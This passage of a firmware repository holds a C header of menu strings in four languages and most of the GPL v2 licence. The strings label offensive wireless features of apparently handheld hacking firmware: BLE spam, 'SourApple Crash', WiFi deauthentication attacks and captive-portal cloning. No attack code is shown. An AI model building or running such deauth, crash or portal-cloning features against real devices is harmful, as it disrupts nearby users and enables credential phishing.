HOUR" 34 | #define TXT_SET_MIN "SET MINUTE" 35 | #define TXT_ADV "Advertising:\n" 36 | #define TXT_SP_RND "Swift Pair Random" 37 | #define TXT_SEL_EXIT2 "\n\nNext: Exit" 38 | #define TXT_BT_SPAM "BLE Spam" 39 | #define TXT_SA_CRASH "SourApple Crash" 40 | #define TXT_CMB_BT_SPAM " Combined BLE Spam" 41 | #define TXT_AD_SPAM "Android Spam" 42 | #define TXT_AJ_TRANSF_NM "Transfer Number" 43 | #define TXT_AJ_TV_COLOR "TV Color Balance" 44 | #define TXT_STP_NW_PH "Setup New Phone" 45 | #define TXT_SA_ADV "SourApple Advertisement: " 46 | #define TXT_SP_ADV "SwiftPair Advertisement: '%s' - " 47 | #define TXT_AD_SPAM_ADV "Android Spam Advertisement: " 48 | #define TXT_AJ_ADV "AppleJuice Advertisement: " 49 | #define TXT_WF_SP "WiFi Spam" 50 | #define TXT_RND_SSID " - Random SSIDs\n" 51 | #define TXT_WF_SCAN "Scan Wifi" 52 | #define TXT_WF_SPAM_FUN "Spam Funny" 53 | #define TXT_WF_SPAM_RR "Spam Rickroll" 54 | #define TXT_WF_SPAM_RND "Spam Random" 55 | #define TXT_WF_RESCAN "[RESCAN]" 56 | #define TXT_WF_OPEN "Open" 57 | #define TXT_WF_CHANN "Chan : %d\n" 58 | #define TXT_WF_CRYPT "Crypt: %s\n" 59 | #define TXT_SEL_BACK "\nNext: Back\n" 60 | #define TXT_HOLD_CLONE "Hold Select: Clone\n" 61 | #define TXT_WF_SCN "WiFi Scan" 62 | #define TXT_WF_SCNING "Scanning..." 63 | #define TXT_INST_NXT "Next: Down Arrow" 64 | #define TXT_INST_PRV "Prev: Up Arrow" 65 | #define TXT_INST_SEL "Sel : Enter or ->" 66 | #define TXT_INST_HOME "Home: Esc or <- " 67 | #define TXT_INST_PRSS_KEY " Press a key" 68 | #define TXT_STK_NXT "We are watching" 69 | #define TXT_STK_SEL "Login: " 70 | #define TXT_STK_HOME "Welcome back." 71 | #define TXT_SDCARD "Mount/Unmount SD" 72 | #define TXT_DEAUTH_START "Select>Start DEAUTH\n" 73 | #define TXT_DEAUTH_STOP "Select>Stop DEAUTH \n" 74 | #define TXT_HOLD_ATTACK "Hold Select: Attack\n" 75 | #define TXT_WFA_PORTAL "Clone Portal" 76 | #define TXT_WFA_DEAUTH "Deauth attack" 77 | #define TXT_WFA_COMBINED "Deauth+Clone" 78 | #define TXT_BLACK "Black" 79 | #define TXT_NAVY "Navy" 80 | #define TXT_DARKGREEN "Dark Green" 81 | #define TXT_DARKCYAN "Dark Cyan" 82 | #define TXT_MAROON "Maroon" 83 | #define TXT_PURPLE "Purple" 84 | #define TXT_OLIVE "Olive" 85 | #define TXT_LIGHTGREY "Light Grey" 86 | #define TXT_DARKGREY "Dark Grey" 87 | #define TXT_BLUE "Blue" 88 | #define TXT_GREEN "Green" 89 | #define TXT_CYAN "Cyan" 90 | #define TXT_RED "Red" 91 | #define TXT_MAGENTA "Magenta" 92 | #define TXT_YELLOW "Yellow" 93 | #define TXT_WHITE "White" 94 | #define TXT_ORANGE "Orange" 95 | #define TXT_GREENYELLOW "Green Yellow" 96 | #define TXT_PINK "Pink" 97 | #define TXT_COLOR "Custom Colors" 98 | #define TXT_SET_FGCOLOR "MAIN COLOR" 99 | #define TXT_SET_BGCOLOR "BACKGROUND COLOR" 100 | #define TXT_THEME "Color Theme" 101 | #endif 102 | 103 | #if defined(LANGUAGE_IT_IT) 104 | #define TXT_BACK "Indietro" 105 | #define TXT_CLOCK "Orologio" 106 | #define TXT_SETTINGS "Configurazione" 107 | #define TXT_NEVER "Mai" 108 | #define TXT_SEC "secondi" 109 | #define TXT_MIN "minuti" 110 | #define TXT_AUTO_DIM "Luminosita Auto" 111 | #define TXT_SET_BRIGHT "IMPOSTA LUMINOSITA" 112 | #define TXT_BATT_INFO "Info Batteria" 113 | #define TXT_BRIGHT "Luminosita" 114 | #define TXT_SET_CLOCK "Imposta Ora" 115 | #define TXT_ROTATION "Rotazione" 116 | #define TXT_ABOUT "Info" 117 | #define TXT_REBOOT "Riavvio" 118 | #define TXT_CLR_SETTINGS "Canc. Settings" 119 | #define TXT_CLRING_SETTINGS "Ripristina Default\nSettings..." 120 | #define TXT_RIGHT "Destra" 121 | #define TXT_LEFT "Sinistra" 122 | #define TXT_BATT "Batteria: " 123 | #define TXT_EXIT "Premi un tasto per uscire" 124 | #define TXT_RG_AMERICAS "Regione:\nAmerica / Asia\n" 125 | #define TXT_RG_EMEA "Regione: EMEA" 126 | #define TXT_RG_EXTRA "Regione: EXTRA" 127 | #define TXT_SEL_GO_PAUSE "Seleziona: Go/Pausa" 128 | #define TXT_SEL_EXIT "Prossimo: Esci" 129 | #define TXT_TRIG_TV "triggered TVBG" 130 | #define TXT_MN_AMERICA "America / Asia" 131 | #define TXT_MN_EMEA "EU/MidEast/Africa" 132 | #define TXT_MN_EXTRA "EXTRA" 133 | #define TXT_REGION "Regione" 134 | #define TXT_FK_GP "Tasto Front.: Go/Pausa" 135 | #define TXT_SET_HOUR "IMPOSTA ORA" 136 | #define TXT_SET_MIN "IMPOSTA MINUTI" 137 | #define TXT_ADV "Avviso:\n" 138 | #define TXT_SP_RND "Swift Pair Random" 139 | #define TXT_SEL_EXIT2 "\n\nProssimo: Esci" 140 | #define TXT_BT_SPAM "BLE Spam" 141 | #define TXT_SA_CRASH "SourApple Crash" 142 | #define TXT_CMB_BT_SPAM "BLE Spam Misto" 143 | #define TXT_AD_SPAM "Android Spam" 144 | #define TXT_AJ_TRANSF_NM "Transfer Number" 145 | #define TXT_AJ_TV_COLOR "TV Color Balance" 146 | #define TXT_STP_NW_PH "Setup New Phone" 147 | #define TXT_SA_ADV "SourApple Advertisement: " 148 | #define TXT_SP_ADV "SwiftPair Advertisement: '%s' - " 149 | #define TXT_AD_SPAM_ADV "Android Spam Advertisement: " 150 | #define TXT_AJ_ADV "AppleJuice Advertisement: " 151 | #define TXT_WF_SP "Spam WiFi" 152 | #define TXT_RND_SSID " - Random SSIDs\n" 153 | #define TXT_WF_SCAN "Scan Wifi" 154 | #define TXT_WF_SPAM_FUN "Spam Funny" 155 | #define TXT_WF_SPAM_RR "Spam Rickroll" 156 | #define TXT_WF_SPAM_RND "Spam Random" 157 | #define TXT_WF_RESCAN "[RIPETI SCANSIONE]" 158 | #define TXT_WF_OPEN "Apri" 159 | #define TXT_WF_CHANN "Canale : %d\n" 160 | #define TXT_WF_CRYPT "Crypt: %s\n" 161 | #define TXT_SEL_BACK "\nProssimo: Back\n" 162 | #define TXT_HOLD_CLONE "Tieni Premuto: Clone\n" 163 | #define TXT_WF_SCN "Scan WiFi" 164 | #define TXT_WF_SCNING "Scansione in corso..." 165 | #define TXT_INST_NXT "Prossimo: Down Arrow" 166 | #define TXT_INST_PRV "Precedente: Up Arrow" 167 | #define TXT_INST_SEL "Sel. : Enter or ->" 168 | #define TXT_INST_HOME "Home: Esc or <- " 169 | #define TXT_INST_PRSS_KEY "Premi un tasto" 170 | #define TXT_STK_NXT "We are watching" 171 | #define TXT_STK_SEL "Login: " 172 | #define TXT_STK_HOME "Welcome back." 173 | #define TXT_SDCARD "Mount/Unmount SD" 174 | #define TXT_DEAUTH_START "Seleziona>Start DEAUTH\n" 175 | #define TXT_DEAUTH_STOP "Seleziona>Stop DEAUTH \n" 176 | #define TXT_HOLD_ATTACK "Tieni Premuto: Attack\n" 177 | #define TXT_WFA_PORTAL "Clone Portal" 178 | #define TXT_WFA_DEAUTH "Deauth attack" 179 | #define TXT_WFA_COMBINED "Deauth+Clone" 180 | #define TXT_BLACK "Nero" 181 | #define TXT_NAVY "Blu Scuro" 182 | #define TXT_DARKGREEN "Verde Scuro" 183 | #define TXT_DARKCYAN "Ciano Chiaro" 184 | #define TXT_MAROON "Marrone" 185 | #define TXT_PURPLE "Viola" 186 | #define TXT_OLIVE "Olive" 187 | #define TXT_LIGHTGREY "Grigio Chiaro" 188 | #define TXT_DARKGREY "Grigio Scuro" 189 | #define TXT_BLUE "Blue" 190 | #define TXT_GREEN "Verde" 191 | #define TXT_CYAN "Ciano" 192 | #define TXT_RED "Rosso" 193 | #define TXT_MAGENTA "Magenta" 194 | #define TXT_YELLOW "Giallo" 195 | #define TXT_WHITE "Bianco" 196 | #define TXT_ORANGE "Arancio" 197 | #define TXT_GREENYELLOW "Giallo Verde" 198 | #define TXT_PINK "Rosa" 199 | #define TXT_COLOR "Colore Pers." 200 | #define TXT_SET_FGCOLOR "COLORE TESTO" 201 | #define TXT_SET_BGCOLOR "COLORE SFONDO" 202 | #define TXT_THEME "Tema Colori" 203 | #endif 204 | 205 | #if defined(LANGUAGE_PT_BR) 206 | #define TXT_BACK "Voltar" 207 | #define TXT_CLOCK "Relogio" 208 | #define TXT_SETTINGS "Configuracoes" 209 | #define TXT_NEVER "Nunca" 210 | #define TXT_SEC "segundos" 211 | #define TXT_MIN "minutos" 212 | #define TXT_AUTO_DIM "AJUSTAR LUZ DE FUNDO" 213 | #define TXT_SET_BRIGHT "BRILHO DA TELA" 214 | #define TXT_BATT_INFO "Estado da Bateria" 215 | #define TXT_BRIGHT "Brilho" 216 | #define TXT_SET_CLOCK "Ajustar Relogio" 217 | #define TXT_ROTATION "Rotacao" 218 | #define TXT_ABOUT "Sobre" 219 | #define TXT_REBOOT "Reiniciar M5" 220 | #define TXT_CLR_SETTINGS "Resetar Ajustes" 221 | #define TXT_CLRING_SETTINGS "Aplicando Ajustes\nPadrao..." 222 | #define TXT_RIGHT "Direita" 223 | #define TXT_LEFT "Esquerda" 224 | #define TXT_BATT "Bateria: " 225 | #define TXT_EXIT "Pressione qualquer tecla para sair" 226 | #define TXT_RG_AMERICAS "Regiao:\nAmericas / Asia\n" 227 | #define TXT_RG_EMEA "Regiao: EMEA" 228 | #define TXT_RG_EXTRA "Regiao: EXTRA" 229 | #define TXT_SEL_GO_PAUSE "Ok: Iniciar/Parar" 230 | #define TXT_SEL_EXIT "Seta 'v' : Sair" 231 | #define TXT_TRIG_TV "TVBG em funcionamento..." 232 | #define TXT_MN_AMERICA "Americas/Asia" 233 | #define TXT_MN_EMEA "EU/MidEast/Africa" 234 | #define TXT_MN_EXTRA "EXTRA" 235 | #define TXT_REGION "Regiao" 236 | #define TXT_FK_GP "Botao Frontal:Iniciar/Pausar" 237 | #define TXT_SET_HOUR "AJUSTAR HORA" 238 | #define TXT_SET_MIN "AJUSTAR MINUTO" 239 | #define TXT_ADV "Aviso:\n" 240 | #define TXT_SP_RND "Swift Pair Aleatorio" 241 | #define TXT_SEL_EXIT2 "\n\nProx: Sair" 242 | #define TXT_BT_SPAM "BLE Spam" 243 | #define TXT_SA_CRASH "SourApple Crash" 244 | #define TXT_CMB_BT_SPAM "BLE Spam Combinado" 245 | #define TXT_AD_SPAM "Android Spam" 246 | #define TXT_AJ_TRANSF_NM "Transferir Numero" 247 | #define TXT_AJ_TV_COLOR "Balanco de Cor TV" 248 | #define TXT_STP_NW_PH "Novo Aparelho" 249 | #define TXT_SA_ADV "Aviso SourApple: " 250 | #define TXT_SP_ADV "Aviso SwiftPair: '%s' - " 251 | #define TXT_AD_SPAM_ADV "Aviso Android Spam: " 252 | #define TXT_AJ_ADV "Aviso AppleJuice: " 253 | #define TXT_WF_SP "WiFi Spam" 254 | #define TXT_RND_SSID " - SSIDs Aleatorios\n" 255 | #define TXT_WF_SCAN "Escanear Wifi" 256 | #define TXT_WF_SPAM_FUN "Spam Engracado" 257 | #define TXT_WF_SPAM_RR "Spam Rickroll" 258 | #define TXT_WF_SPAM_RND "Spam Aleatorio" 259 | #define TXT_WF_RESCAN "[RESCANEAR]" 260 | #define TXT_WF_OPEN "Aberto" 261 | #define TXT_WF_CHANN "Canal: %d\n" 262 | #define TXT_WF_CRYPT "Cripto: %s\n" 263 | #define TXT_SEL_BACK "\nProx: Voltar\n" 264 | #define TXT_HOLD_CLONE "Segurar Ok: Clonar\n" 265 | #define TXT_WF_SCN "Escanear \n Wifi" 266 | #define TXT_WF_SCNING "Escaneando..." 267 | #define TXT_INST_NXT "Prox: Seta v" 268 | #define TXT_INST_PRV "Anterior: Seta ^" 269 | #define TXT_INST_SEL "Sel : Ok ou ->" 270 | #define TXT_INST_HOME "Home: Esc ou <-" 271 | #define TXT_INST_PRSS_KEY "Pressione uma tecla" 272 | #define TXT_STK_NXT "We are watching" 273 | #define TXT_STK_SEL "Login: " 274 | #define TXT_STK_HOME "Welcome back." 275 | #define TXT_SDCARD "Monta/Desmonta SD" 276 | #define TXT_DEAUTH_START "Sel: Iniciar DEAUTH\n" 277 | #define TXT_DEAUTH_STOP "Sel: Parar DEAUTH \n" 278 | #define TXT_HOLD_ATTACK "Segurar Ok: Atacar\n" 279 | #define TXT_WFA_PORTAL "Clonar Portal" 280 | #define TXT_WFA_DEAUTH "Ataque Deauth" 281 | #define TXT_WFA_COMBINED "Deauth+Clone" 282 | #define TXT_BLACK "Preto" 283 | #define TXT_NAVY "Azul Escuro" 284 | #define TXT_DARKGREEN "Verde Escuro" 285 | #define TXT_DARKCYAN "Ciano Escuro" 286 | #define TXT_MAROON "Vermelho Escuro" 287 | #define TXT_PURPLE "Roxo" 288 | #define TXT_OLIVE "Castanho" 289 | #define TXT_LIGHTGREY "Cinzo Claro" 290 | #define TXT_DARKGREY "Cinzo Escuro" 291 | #define TXT_BLUE "Azul" 292 | #define TXT_GREEN "Verde" 293 | #define TXT_CYAN "Ciano" 294 | #define TXT_RED "Vermelho" 295 | #define TXT_MAGENTA "Magenta" 296 | #define TXT_YELLOW "Amarelo" 297 | #define TXT_WHITE "Branco" 298 | #define TXT_ORANGE "Alaranjado" 299 | #define TXT_GREENYELLOW "Verde Amarelo" 300 | #define TXT_PINK "Rosa" 301 | #define TXT_COLOR "Mudar Cores" 302 | #define TXT_SET_FGCOLOR "COR PRINCIPAL" 303 | #define TXT_SET_BGCOLOR "COR DE FUNDO" 304 | #define TXT_THEME "Tema De Cores" 305 | #endif 306 | 307 | #if defined(LANGUAGE_FR_FR) 308 | #define TXT_BACK "Retour" 309 | #define TXT_CLOCK "Horloge" 310 | #define TXT_SETTINGS "Parametres" 311 | #define TXT_NEVER "Jamais" 312 | #define TXT_SEC "secondes" 313 | #define TXT_MIN "minutes" 314 | #define TXT_AUTO_DIM "REGLER LA BAISSE DE LUMINOSITE" 315 | #define TXT_SET_BRIGHT "REGLER LA LUMINOSITE" 316 | #define TXT_BATT_INFO "Infos batterie" 317 | #define TXT_BRIGHT "Luminosite" 318 | #define TXT_SET_CLOCK "Regler l'horloge" 319 | #define TXT_ROTATION "Rotation" 320 | #define TXT_ABOUT "A propos" 321 | #define TXT_REBOOT "Redemarrer" 322 | #define TXT_CLR_SETTINGS "Reinitialiser" 323 | #define TXT_CLRING_SETTINGS "Reinitialisation" 324 | #define TXT_RIGHT "Droite" 325 | #define TXT_LEFT "Gauche" 326 | #define TXT_BATT "Batterie: " 327 | #define TXT_EXIT "Pressez n'importe\nquelle touche pour\nquitter" 328 | #define TXT_RG_AMERICAS "Region:\nAmeriques / Asie\n" 329 | #define TXT_RG_EMEA "Region: EMEA" 330 | #define TXT_RG_EXTRA "Region: EXTRA" 331 | #define TXT_SEL_GO_PAUSE "Touche M5: Go/Stop" 332 | #define TXT_SEL_EXIT "Suivant: Quitter" 333 | #define TXT_TRIG_TV "TVBG en cours..." 334 | #define TXT_MN_AMERICA "Ameriques / Asie" 335 | #define TXT_MN_EMEA "EU/M-O/Afrique" 336 | #define TXT_MN_EXTRA "EXTRA" 337 | #define TXT_REGION "Region" 338 | #define TXT_FK_GP "Touche M5: Go/Stop" 339 | #define TXT_SET_HOUR "REGLER L'HEURE" 340 | #define TXT_SET_MIN "REGLER LES MINUTES" 341 | #define TXT_ADV "Notification:\n" 342 | #define TXT_SP_RND "Swift Pair Aleatoire" 343 | #define TXT_SEL_EXIT2 "\n\nSuivant: Quitter" 344 | #define TXT_BT_SPAM "BLE Spam" 345 | #define TXT_SA_CRASH "SourApple Crash" 346 | #define TXT_CMB_BT_SPAM " BLE Spam Combine" 347 | #define TXT_AD_SPAM "Android Spam" 348 | #define TXT_AJ_TRANSF_NM "Transfert de Num." 349 | #define TXT_AJ_TV_COLOR "Colorimetrie TV" 350 | #define TXT_STP_NW_PH "Setup New Phone" 351 | #define TXT_SA_ADV "Notifications SourApple : " 352 | #define TXT_SP_ADV "Notifications SwiftPair : '%s' - " 353 | #define TXT_AD_SPAM_ADV "Notifications Android Spam: " 354 | #define TXT_AJ_ADV "AppleJuice : " 355 | #define TXT_WF_SP "WiFi Spam" 356 | #define TXT_RND_SSID " - SSIDs Aleatoires\n" 357 | #define TXT_WF_SCAN "Scan Wifi" 358 | #define TXT_WF_SPAM_FUN "Spam Funny" 359 | #define TXT_WF_SPAM_RR "Spam Rickroll" 360 | #define TXT_WF_SPAM_RND "Spam Aleatoire" 361 | #define TXT_WF_RESCAN "[RESCAN]" 362 | #define TXT_WF_OPEN "Ouvrir" 363 | #define TXT_WF_CHANN "Canal: %d\n" 364 | #define TXT_WF_CRYPT "Crypt: %s\n" 365 | #define TXT_SEL_BACK "\nSuivant: Retour\n" 366 | #define TXT_HOLD_CLONE "Touche M5: Cloner\n" 367 | #define TXT_WF_SCN "Scan WiFi" 368 | #define TXT_WF_SCNING "Scan..." 369 | #define TXT_INST_NXT "Suivant: Touche Bas" 370 | #define TXT_INST_PRV "Precedent: Touche Haut" 371 | #define TXT_INST_SEL "Sel : Entree ou ->" 372 | #define TXT_INST_HOME "Accueil: Echap ou <-" 373 | #define TXT_INST_PRSS_KEY "Pressez une touche" 374 | #define TXT_STK_NXT "We are watching" 375 | #define TXT_STK_SEL "Login: " 376 | #define TXT_STK_HOME "Welcome back." 377 | #define TXT_SDCARD "Monter/demont. SD" 378 | #define TXT_DEAUTH_START "Choix>Lancer DEAUTH\n" 379 | #define TXT_DEAUTH_STOP "Choix>Stopper DEAUTH \n" 380 | #define TXT_HOLD_ATTACK "Touche M5: Attaquer\n" 381 | #define TXT_WFA_PORTAL "Cloner Portail" 382 | #define TXT_WFA_DEAUTH "Attaque Deauth" 383 | #define TXT_WFA_COMBINED "Deauth+Clone" 384 | #define TXT_BLACK "Noir" 385 | #define TXT_NAVY "Bleu Marine" 386 | #define TXT_DARKGREEN "Vert Fonce" 387 | #define TXT_DARKCYAN "Cyan Fonce" 388 | #define TXT_MAROON "Marron" 389 | #define TXT_PURPLE "Violet" 390 | #define TXT_OLIVE "Olive" 391 | #define TXT_LIGHTGREY "Gris Clair" 392 | #define TXT_DARKGREY "Gris Fonce" 393 | #define TXT_BLUE "Bleu" 394 | #define TXT_GREEN "Vert" 395 | #define TXT_CYAN "Cyan" 396 | #define TXT_RED "Rouge" 397 | #define TXT_MAGENTA "Magenta" 398 | #define TXT_YELLOW "Jaune" 399 | #define TXT_WHITE "Blanc" 400 | #define TXT_ORANGE "Orange" 401 | #define TXT_GREENYELLOW "Jaune-Vert" 402 | #define TXT_PINK "Rose" 403 | #define TXT_COLOR "Choix des couleurs" 404 | #define TXT_SET_FGCOLOR "COULEUR PRINCIPALE" 405 | #define TXT_SET_BGCOLOR "COULEUR SECONDAIRE" 406 | #define TXT_THEME "Theme" 407 | #endif 408 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 5 | 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Library General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY 